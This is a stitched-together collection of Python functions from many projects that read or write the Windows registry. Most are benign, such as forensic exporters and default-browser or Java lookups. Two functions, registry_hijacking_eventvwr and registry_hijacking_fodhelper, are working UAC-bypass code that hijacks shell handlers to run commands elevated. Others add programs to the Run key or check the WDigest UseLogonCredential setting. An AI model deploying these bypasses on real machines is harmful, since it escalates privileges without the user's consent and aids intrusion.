def default_browser_command(): if WIN32: if six.PY2: from _winreg import (CloseKey, ConnectRegistry, HKEY_CLASSES_ROOT, # pylint: disable=import-error,no-name-in-module HKEY_CURRENT_USER, OpenKey, QueryValueEx) else: from winreg import (CloseKey, ConnectRegistry, HKEY_CLASSES_ROOT, # pylint: disable=import-error,no-name-in-module HKEY_CURRENT_USER, OpenKey, QueryValueEx) ''' Tries to get default browser command, returns either a space delimited command string with '%1' as URL placeholder, or empty string. ''' browser_class = 'Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\https\\UserChoice' try: reg = ConnectRegistry(None,HKEY_CURRENT_USER) key = OpenKey(reg, browser_class) value, t = QueryValueEx(key, 'ProgId') CloseKey(key) CloseKey(reg) reg = ConnectRegistry(None,HKEY_CLASSES_ROOT) key = OpenKey(reg, '%s\\shell\\open\\command' % value) path, t = QueryValueEx(key, None) except WindowsError: # pylint: disable=undefined-variable # logger.warn(e) traceback.print_exc() return '' finally: CloseKey(key) CloseKey(reg) return path else: default_browser = webbrowser.get() return default_browser.name + " %1"
def csv_windows_values(self): # outputs winlogon's values to file self.logger.info('Getting windows values from registry') path = 'Software\Microsoft\Windows NT\CurrentVersion\Windows\\' with open( self.output_dir + '\\' + self.computer_name + '_windows_values.csv', 'wb') as output: aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) csv_writer = get_csv_writer(output) try: self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer, is_recursive=False) aReg = ConnectRegistry(None, HKEY_USERS) for index_sid in range( QueryInfoKey(aReg)[0]): # the number of subkeys # in HKEY_USERS, we have a list of subkeys which are SIDs str_sid = EnumKey(aReg, index_sid) username = str_sid2username(str_sid) full_path = str_sid + '\\' + path try: self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username, is_recursive=False) except WindowsError: pass except WindowsError: pass CloseKey(aReg)
def csv_startup_programs(self): ''' Exports the programs running at startup ''' ''' [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Userinit] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows] ''' self.logger.info("Getting startup programs from registry") software = '\Software' wow = '\Wow6432Node' with open(self.output_dir + '\\' + self.computer_name + '_startup.csv', 'wb') as output: csv_writer = get_csv_writer(output) aReg = ConnectRegistry(None, HKEY_USERS) for index_sid in range(QueryInfoKey(aReg)[0]): # the number of subkeys # in HKEY_USERS, we have a list of subkeys which are SIDs str_sid = EnumKey(aReg, index_sid) username = str_sid2username(str_sid) paths = ['\Microsoft\Windows\CurrentVersion\Run\\', '\Microsoft\Windows\CurrentVersion\RunOnce\\', '\Software\Microsoft\Windows\CurrentVersion\RunOnceEx', '\Microsoft\Windows\CurrentVersion\RunServices\\', '\Microsoft\Windows\CurrentVersion\RunServicesOnce\\', '\Microsoft\Windows NT\CurrentVersion\Winlogon\\Userinit\\'] for path in paths: try: full_path = str_sid + software + path self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username) full_path = str_sid + software + wow + path self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username) except WindowsError: pass CloseKey(aReg) with open(self.output_dir + '\\' + self.computer_name + '_startup.csv', 'ab') as output: csv_writer = get_csv_writer(output) aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) paths = ['\Microsoft\Windows\CurrentVersion\Run\\', '\Microsoft\Windows\CurrentVersion\RunOnce\\', '\Software\Microsoft\Windows\CurrentVersion\RunOnceEx', '\Microsoft\Windows\CurrentVersion\RunServices\\', '\Microsoft\Windows\CurrentVersion\RunServicesOnce\\', '\Microsoft\Windows NT\CurrentVersion\Windows\\', '\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'] for path in paths: try: full_path = software + path self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer) full_path = software + wow + path self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer) except WindowsError: pass CloseKey(aReg)
def set_env_variable(var_name, value, user=False): if user: path = r'Environment' reg = ConnectRegistry(None, HKEY_CURRENT_USER) else: path = (r'SYSTEM\CurrentControlSet' r'\Control\Session Manager\Environment') reg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) key = OpenKey(reg, path, 0, KEY_ALL_ACCESS) SetValueEx(key, var_name, 0, REG_EXPAND_SZ, value) win32gui.SendMessage(win32con.HWND_BROADCAST, win32con.WM_SETTINGCHANGE, 0, 'Environment')
def csv_recent_docs(self): # Shows where recently opened files are saved and when they were opened self.logger.info('Getting recent_docs from registry') path = '\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\\' aReg = ConnectRegistry(None,HKEY_USERS) with open(self.output_dir + '\\' + self.computer_name + '_recent_docs.csv', 'wb') as output: csv_writer = get_csv_writer(output) for index_sid in range(QueryInfoKey(aReg)[0]): # the number of subkeys (SIDs) str_sid = EnumKey(aReg, index_sid) full_path = str_sid + path try: username = str_sid2username(str_sid) result = [username, str_sid] reg_recent_docs = OpenKey(aReg, full_path) # Get values of RecentDocs itself for index_value in range(QueryInfoKey(reg_recent_docs)[1]): # the number of values (RecentDocs) str_value_name = EnumValue(reg_recent_docs, index_value)[0] str_value_datatmp = EnumValue(reg_recent_docs, index_value)[1] if str_value_name != "MRUListEx": value_decoded = self.__decode_recent_docs_MRU(str_value_datatmp) write_to_csv(result + value_decoded, csv_writer) # Get values of RecentDocs subkeys for index_recent_docs_subkey in range(QueryInfoKey(reg_recent_docs)[0]): # the number of subkeys (RecentDocs) recent_docs_subkey = EnumKey(reg_recent_docs, index_recent_docs_subkey) reg_recent_docs_subkey = OpenKey(aReg, full_path + recent_docs_subkey) for index_value in range(QueryInfoKey(reg_recent_docs_subkey)[1]): # the number of values (RecentDocs subkeys) str_value_name = EnumValue(reg_recent_docs_subkey, index_value)[0] str_value_datatmp = EnumValue(reg_recent_docs_subkey, index_value)[1] if str_value_name != "MRUListEx": value_decoded = self.__decode_recent_docs_MRU(str_value_datatmp) write_to_csv(result + value_decoded, csv_writer) #self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username) except WindowsError: pass CloseKey(aReg)
def detectPort(): try: if not isRunning(AceStuff.ace): logger.error("Couldn't detect port! Ace Engine is not running?") clean_proc(); sys.exit(1) except AttributeError: logger.error("Ace Engine is not running!") clean_proc(); sys.exit(1) try: from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_CURRENT_USER except: from winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_CURRENT_USER reg = ConnectRegistry(None, HKEY_CURRENT_USER) try: key = OpenKey(reg, 'Software\AceStream') except: logger.error("Can't find AceStream!") clean_proc(); sys.exit(1) else: engine = QueryValueEx(key, 'EnginePath') AceStuff.acedir = os.path.dirname(engine[0]) try: gevent.sleep(AceConfig.acestartuptimeout) AceConfig.ace['aceAPIport'] = open(AceStuff.acedir + '\\acestream.port', 'r').read() logger.info("Detected ace port: %s" % AceConfig.ace['aceAPIport']) except IOError: logger.error("Couldn't detect port! acestream.port file doesn't exist?") clean_proc(); sys.exit(1)
def registry_hijacking_eventvwr(cmd, params=""): # ''' # Based on Invoke-EventVwrBypass, thanks to enigma0x3 (https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/) # ''' HKCU = ConnectRegistry(None, HKEY_CURRENT_USER) mscCmdPath = r'Software\Classes\mscfile\shell\open\command' if params: cmd = '%s %s'.strip() % (cmd, params) try: # The registry key already exist in HKCU, altering... registry_key = OpenKey(HKCU, mscCmdPath, KEY_SET_VALUE) except: # Adding the registry key in HKCU registry_key = CreateKey(HKCU, mscCmdPath) SetValueEx(registry_key, '', 0, REG_SZ, cmd) CloseKey(registry_key) # Executing eventvwr.exe eventvwrPath = os.path.join(os.environ['WINDIR'],'System32','eventvwr.exe') subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) # Sleeping 5 secds... time.sleep(5) #Clean everything DeleteKey(HKCU, mscCmdPath)
def registry_hijacking_fodhelper(cmd, params=""): HKCU = ConnectRegistry(None, HKEY_CURRENT_USER) fodhelperPath = r'Software\Classes\ms-settings\Shell\Open\command' if params: cmd = '%s %s'.strip() % (cmd, params) try: # The registry key already exist in HKCU, altering... OpenKey(HKCU, fodhelperPath, KEY_SET_VALUE) except: # Adding the registry key in HKCU CreateKey(HKCU, fodhelperPath) registry_key = OpenKey(HKCU, fodhelperPath, 0, KEY_WRITE) SetValueEx(registry_key, 'DelegateExecute', 0, REG_SZ, "") SetValueEx(registry_key, '', 0, REG_SZ, cmd) CloseKey(registry_key) # Creation fodhelper.exe path triggerPath = os.path.join(os.environ['WINDIR'],'System32','fodhelper.exe') # Disables file system redirection for the calling thread (File system redirection is enabled by default) wow64 = ctypes.c_long(0) ctypes.windll.kernel32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64)) # Executing fodhelper.exe subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) # Enable file system redirection for the calling thread ctypes.windll.kernel32.Wow64EnableWow64FsRedirection(wow64) # Sleeping 5 secds... time.sleep(5) # Clean everything DeleteKey(HKCU, fodhelperPath)
def _csv_user_assist(self, count_offset, is_win7_or_further): ''' Extracts information from UserAssist registry key which contains information about executed programs ''' ''' The count offset is for Windows versions before 7, where it would start at 6... ''' self.logger.info('Getting user_assist from registry') aReg = ConnectRegistry(None, HKEY_USERS) str_user_assist = 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\' with open( self.output_dir + '\\' + self.computer_name + '_userassist.csv', 'wb') as output: csv_writer = get_csv_writer(output) for index_sid in range( QueryInfoKey(aReg)[0]): # the number of subkeys # in HKEY_USERS, we have a list of subkeys which are SIDs str_sid = EnumKey(aReg, index_sid) try: path = str_sid + '\\' + str_user_assist username = str_sid2username(str_sid) reg_user_assist = OpenKey(aReg, path) for index_clsid in range(QueryInfoKey(reg_user_assist) [0]): # the number of subkeys # in UserAssist, we have a list of IDs which may vary between different Windows versions str_clsid = EnumKey(reg_user_assist, index_clsid) result = [username, str_sid, str_clsid] reg_count = OpenKey(aReg, path + str_clsid + '\\Count') date_last_mod = convert_windate( QueryInfoKey(reg_count)[2]) for index_value in range(QueryInfoKey(reg_count) [1]): # the number of values # the name of the value is encoded with ROT13 str_value_name = EnumValue(reg_count, index_value)[0] str_value_name = codecs.decode( str_value_name, 'rot_13') str_value_datatmp = EnumValue( reg_count, index_value)[1] # some data are less than 16 bytes for some reason... if len(str_value_datatmp) < 16: write_to_csv( result + [str_value_name, date_last_mod], csv_writer) else: if is_win7_or_further: arr_output = result + [ str_value_name, date_last_mod ] + self.__csv_user_assist_value_decode_win7_and_after( str_value_datatmp, count_offset) write_to_csv(arr_output, csv_writer) else: write_to_csv( result + [str_value_name, date_last_mod] + self. __csv_user_assist_value_decode_before_win7( str_value_datatmp, count_offset), csv_writer) CloseKey(reg_count) CloseKey(reg_user_assist) except WindowsError: pass CloseKey(aReg)
def csv_shell_bags(self): ''' Exports the shell bags from Windows registry in a csv ''' # TODO Check Vista and under self.logger.info("Getting shell bags from registry") aReg = ConnectRegistry(None, HKEY_USERS) with open( self.output_dir + '\\' + self.computer_name + '_shellbags.csv', 'wb') as output: csv_writer = get_csv_writer(output) for index_sid in range( QueryInfoKey(aReg)[0]): # the number of subkeys # in HKEY_USERS, we have a list of subkeys which are SIDs str_sid = EnumKey(aReg, index_sid) username = str_sid2username(str_sid) paths = [ '\\Software\\Microsoft\\Windows\\Shell\\Bags\\', '\\Software\\Microsoft\\Windows\\Shell\\BagMRU\\', '\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\Bags\\', '\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\BagMRU\\' ] for path in paths: try: full_path = str_sid + path self._dump_csv_registry_to_output( 'HKEY_USERS', full_path, aReg, csv_writer, username, self.__decode_shellbag_itempos_data) except WindowsError: pass CloseKey(aReg)
def getUACLevel(): if sys.platform != 'win32': return 'N/A' i, consentPromptBehaviorAdmin, enableLUA, promptOnSecureDesktop = 0, None, None, None try: Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE) RawKey = OpenKey( Registry, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System') except: return "?" while True: try: name, value, type = EnumValue(RawKey, i) if name == "ConsentPromptBehaviorAdmin": consentPromptBehaviorAdmin = value elif name == "EnableLUA": enableLUA = value elif name == "PromptOnSecureDesktop": promptOnSecureDesktop = value i += 1 except WindowsError: break if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and promptOnSecureDesktop == 1: return "3/3" elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 1: return "2/3" elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 0: return "1/3" elif enableLUA == 0: return "0/3" else: return "?"
def get_missing(cls, path, required): """ Checks required entries from the Windows registry. @param path: registry path to list of installed software @type path: str @param required: list of entries to check @type required: list @return: list of missing entries @rtype: list """ reg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) logging.getLogger().debug("Registry path: %s " % path) try: key = OpenKey(reg, path, 0, KEY_READ | KEY_WOW64_32KEY) except WindowsError: # pyflakes.ignore logging.getLogger().warn("Unable to get registry path: %s " % path) logging.getLogger().warn("Cannot check missing software") return [] missing = required i = 0 while True: try: folder = EnumKey(key, i) if folder in missing: missing.remove(folder) i += 1 except WindowsError: # pyflakes.ignore break CloseKey(key) return missing
def check_registry_key(java_key): """ Method checks for the java in the registry entries. """ # Added KEY_WOW64_64KEY, KEY_ALL_ACCESS. This lets 32bit python access # registry keys of 64bit Application on Windows supporting 64 bit. try: from _winreg import ConnectRegistry, HKEY_LOCAL_MACHINE, OpenKey, \ QueryValueEx, KEY_WOW64_64KEY, KEY_ALL_ACCESS except: from winreg import ConnectRegistry, HKEY_LOCAL_MACHINE, OpenKey, \ QueryValueEx, KEY_WOW64_64KEY, KEY_ALL_ACCESS path = None try: a_reg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) r_key = OpenKey(a_reg, java_key, 0, KEY_WOW64_64KEY + KEY_ALL_ACCESS) for i_cnt in range(1024): current_version = QueryValueEx(r_key, "CurrentVersion") if current_version is not None: key = OpenKey(r_key, current_version[0]) if key is not None: path = QueryValueEx(key, "JavaHome") return path[0] except Exception: UcsWarning("Not able to access registry.") return None
def is_at_startup(program_path): '''Add any program to your startup list''' areg = ConnectRegistry(None, HKEY_CURRENT_USER) try: akey = OpenKey(areg, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\{}'.format(os.path.basename(program_path)), 0, KEY_WRITE) areg.Close() akey.Close() except WindowsError: key = OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_SET_VALUE) SetValueEx(key, '{}'.format(os.path.basename(program_path)), 0, REG_SZ, '{}'.format(program_path)) areg.Close() key.Close() print('{} added to startup'.format(os.path.basename(program_path)))
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE): aReg = ConnectRegistry(None, root) try: aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE) SetValueEx(aKey, regPath, 0, REG_DWORD, value) CloseKey(aKey) except Exception, e: return False, e
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE): aReg = ConnectRegistry(None, root) if not setRegValue(aReg, keyPath, regPath, value): CloseKey(aReg) return False CloseKey(aReg) return True
def _csv_open_save_MRU(self, str_opensaveMRU): ''' Extracts information from OpenSaveMRU registry key which contains information about opened and saved windows ''' # TODO : Win XP self.logger.info('Getting open_save_MRU from registry') aReg = ConnectRegistry(None, HKEY_USERS) with open( self.output_dir + '\\' + self.computer_name + '_opensaveMRU.csv', 'wb') as output: csv_writer = get_csv_writer(output) for index_sid in range( QueryInfoKey(aReg)[0]): # the number of subkeys # in HKEY_USERS, we have a list of subkeys which are SIDs str_sid = EnumKey(aReg, index_sid) try: username = str_sid2username(str_sid) path = str_sid + '\\' + str_opensaveMRU reg_opensaveMRU = OpenKey(aReg, path) for index_clsid in range(QueryInfoKey(reg_opensaveMRU) [0]): # the number of subkeys str_filetype = EnumKey(reg_opensaveMRU, index_clsid) reg_filetype = OpenKey(aReg, path + '\\' + str_filetype) date_last_mod = convert_windate( QueryInfoKey(reg_filetype)[2]) # now get the value from the SID subkey for index_value in range( QueryInfoKey(reg_filetype) [1]): # the number of values value_filetype = EnumValue(reg_filetype, index_value) # Here, it is quite... dirty, it is a binary MRU list in which we have to extract the interesting values if value_filetype[0] != 'MRUListEx': l_printable = self.__extract_filename_from_PIDLMRU( value_filetype[1]) # VERY DIRTY, if the list is empty it's probably because the string is off by 1... if len(l_printable) == 0: # So we take away the first char to have a correct offset (modulo 2) l_printable = self.__extract_filename_from_PIDLMRU( value_filetype[1][1:]) if len(l_printable) != 0: str_printable = l_printable[-1] write_to_csv([ username, str_sid, str_filetype, date_last_mod, str_printable ], csv_writer) else: # if the length is still 0 then... I'm at a loss for words write_to_csv([ username, str_sid, str_filetype, date_last_mod ], csv_writer) CloseKey(reg_filetype) CloseKey(reg_opensaveMRU) except WindowsError: pass CloseKey(aReg)
def default_browser_command(): if sys.platform.startswith('win'): if six.PY2: from _winreg import ( CloseKey, ConnectRegistry, HKEY_CLASSES_ROOT, # pylint: disable=import-error HKEY_CURRENT_USER, OpenKey, QueryValueEx) else: from winreg import ( CloseKey, ConnectRegistry, HKEY_CLASSES_ROOT, # pylint: disable=import-error HKEY_CURRENT_USER, OpenKey, QueryValueEx) ''' Tries to get default browser command, returns either a space delimited command string with '%1' as URL placeholder, or empty string. ''' browser_class = 'Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\https\\UserChoice' try: reg = ConnectRegistry(None, HKEY_CURRENT_USER) key = OpenKey(reg, browser_class) value, t = QueryValueEx(key, 'ProgId') CloseKey(key) CloseKey(reg) reg = ConnectRegistry(None, HKEY_CLASSES_ROOT) key = OpenKey(reg, '%s\\shell\\open\\command' % value) path, t = QueryValueEx(key, None) except WindowsError: # logger.warn(e) traceback.print_exc() return '' finally: CloseKey(key) CloseKey(reg) return path else: printer.out("default_browser_command: Not implemented for OS")
def csv_registry_services(self): self.logger.info('Getting services from registry') aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) with open(self.output_dir + '\\' + self.computer_name + '_services_registry.csv', 'wb') as output: csv_writer = get_csv_writer(output) try: #write_to_output('"Computer Name""|""CatchEvidence""|""Date last modification""|""Registry path""|""Registry type""|""Value"', output) self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', 'System\CurrentControlSet\Services\\', aReg, csv_writer) except WindowsError: pass CloseKey(aReg)
def _print_regkey_csv(self, key_path, hive, is_recursive, output, subkey_type_to_query=None, additional_info_function=None): ''' Main method to print all the data retrieved in the registry to the output file ''' ''' additional_info_function is a function parameter, as it is needed in some cases... ''' self.aReg = ConnectRegistry(None, hive) try: bKey = OpenKey(self.aReg, key_path) self.__print_regkey_csv(bKey, key_path, output, is_recursive, subkey_type_to_query, additional_info_function) CloseKey(bKey) except WindowsError: self.logger.warn('Error while printing registry values.') return
def get_domain_controller(): aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) keypath = r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\" subkey_name = 'DCName' try: aKey = OpenKey(aReg, keypath) val, _ = QueryValueEx(aKey, subkey_name) CloseKey(aKey) return val except: return False
def queryValue(keyPath, regPath, root=HKEY_LOCAL_MACHINE): aReg = ConnectRegistry(None, root) try: aKey = OpenKey(aReg, keyPath, 0, KEY_READ) value = QueryValueEx(aKey, regPath) CloseKey(aKey) if value[0] == 0: return False, 'UseLogonCredential disabled' else: return True, 'UseLogonCredential already enabled' except: return False, 'UseLogonCredential key not found, you should create it'
def csv_installer_folder(self): # Shows where recently opened files are saved and when they were opened self.logger.info('Getting installer folders from registry') path = 'Software\Microsoft\Windows\CurrentVersion\Installer\Folders\\' with open(self.output_dir + '\\' + self.computer_name + '_installer_folder.csv', 'ab') as output: aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) csv_writer = get_csv_writer(output) try: self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer) except WindowsError: pass CloseKey(aReg)
def default_browser_command(): ''' Tries to get default browser command, returns either a space delimited command string with '%1' as URL placeholder, or empty string. ''' browser_class = 'Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\https\\UserChoice' try: reg = ConnectRegistry(None, HKEY_CURRENT_USER) key = OpenKey(reg, browser_class) value, t = QueryValueEx(key, 'ProgId') CloseKey(key) CloseKey(reg) reg = ConnectRegistry(None, HKEY_CLASSES_ROOT) key = OpenKey(reg, '%s\\shell\\open\\command' % value) path, t = QueryValueEx(key, None) except WindowsError as e: #logger.warn(e) return '' finally: CloseKey(key) CloseKey(reg) return path
def reg_get(path, name, key=HKEY_CURRENT_USER): # Read variable from Windows Registry. try: reg = ConnectRegistry(None, key) try: registry_key = OpenKey(reg, path, 0, KEY_READ) except OpenKeyError: registry_key = OpenKey(reg, path, 0, KEY_READ | KEY_WOW64_64KEY) value, regtype = QueryValueEx(registry_key, name) CloseKey(reg) return value except WindowsError: return None
def csv_installed_components(self): # outputs installed components to file ''' HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components ''' self.logger.info('Getting installed components from registry') path = 'Software\Microsoft\Active Setup\Installed Components\\' with open(self.output_dir + '\\' + self.computer_name + '_installed_components.csv', 'wb') as output: aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) csv_writer = get_csv_writer(output) try: self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer) except WindowsError: pass CloseKey(aReg)
def reg_del(name, key=HKEY_CURRENT_USER): # Delete a registry key on Windows. try: reg = ConnectRegistry(None, key) # registry_key = OpenKey(reg, name_base, 0, KEY_ALL_ACCESS) DeleteKey(reg, name) CloseKey(reg) # Update the Windows behaviour. # SendMessage(win32con.HWND_BROADCAST, win32con.WM_SETTINGCHANGE, 0, 'Environment') return True except ConnectRegistryError: print('You should run this command as system administrator: run the terminal as administrator and type the command again.') except WindowsError: return False
def get_latest_windows_sdk(): """The Windows SDK that ships with VC++ 9.0 is not new enough to include schannel support. So we need to check the OS to see if a newer Windows SDK is available to link to. This is only run on Windows if using Python 2.7. """ if not is_win or not is_27: return [] from _winreg import ConnectRegistry, OpenKey, EnumKey, QueryValueEx, HKEY_LOCAL_MACHINE installed_sdks = {} key_path = "SOFTWARE\\Wow6432Node\\Microsoft\\Microsoft SDKs\\Windows" if is_x64 else \ "SOFTWARE\\Microsoft\\Microsoft SDKs\\Windows" try: with ConnectRegistry(None, HKEY_LOCAL_MACHINE) as hklm: with OpenKey(hklm, key_path) as handler: for i in range(1024): try: asubkey_name=EnumKey(handler, i) with OpenKey(handler, asubkey_name) as asubkey: location = QueryValueEx(asubkey, "InstallationFolder") if not location or not os.path.isdir(location[0]): continue version = QueryValueEx(asubkey, "ProductVersion") if not version: continue installed_sdks[version[0].lstrip('v')] = location[0] except EnvironmentError: break except EnvironmentError: print("Warning - build may fail: No Windows SDK found.") return [] installed_versions = sorted([LooseVersion(k) for k in installed_sdks.keys()]) if installed_versions[-1] < LooseVersion("8.1"): print("Warning - build may fail: Cannot find Windows SDK 8.1 or greater.") return [] lib_path = os.path.join(installed_sdks[installed_versions[-1].vstring], "lib") sdk_path = os.path.join(lib_path, os.listdir(lib_path)[-1], "um", 'x64' if is_x64 else 'x86') if not os.path.isdir(sdk_path): print("Warning - build may fail: Windows SDK v{} not found at path {}.".format( installed_versions[-1].vstring, sdk_path)) else: print("Adding Windows SDK v{} to search path, installed at {}".format( installed_versions[-1].vstring, sdk_path)) return [sdk_path]
def CheckRegistryKey(javaKey): from _winreg import ConnectRegistry, HKEY_LOCAL_MACHINE, OpenKey, QueryValueEx path = None try: aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) rk = OpenKey(aReg, javaKey) for i in range(1024): currentVersion = QueryValueEx(rk, "CurrentVersion") if currentVersion != None: key = OpenKey(rk, currentVersion[0]) if key != None: path = QueryValueEx(key, "JavaHome") return path[0] except Exception, err: WriteUcsWarning("Not able to access registry.") return None
def spawnAce(cmd, delay=0.1): if AceConfig.osplatform == 'Windows': try: from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_CURRENT_USER except: from winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_CURRENT_USER reg = ConnectRegistry(None, HKEY_CURRENT_USER) try: key = OpenKey(reg, 'Software\AceStream') except: logger.error("Can't find acestream!"); sys.exit(1) else: engine = QueryValueEx(key, 'EnginePath') AceStuff.acedir = os.path.dirname(engine[0]) cmd = engine[0].split() try: AceStuff.ace = psutil.Popen(cmd, stdout=DEVNULL, stderr=DEVNULL) gevent.sleep(delay) return True except: return False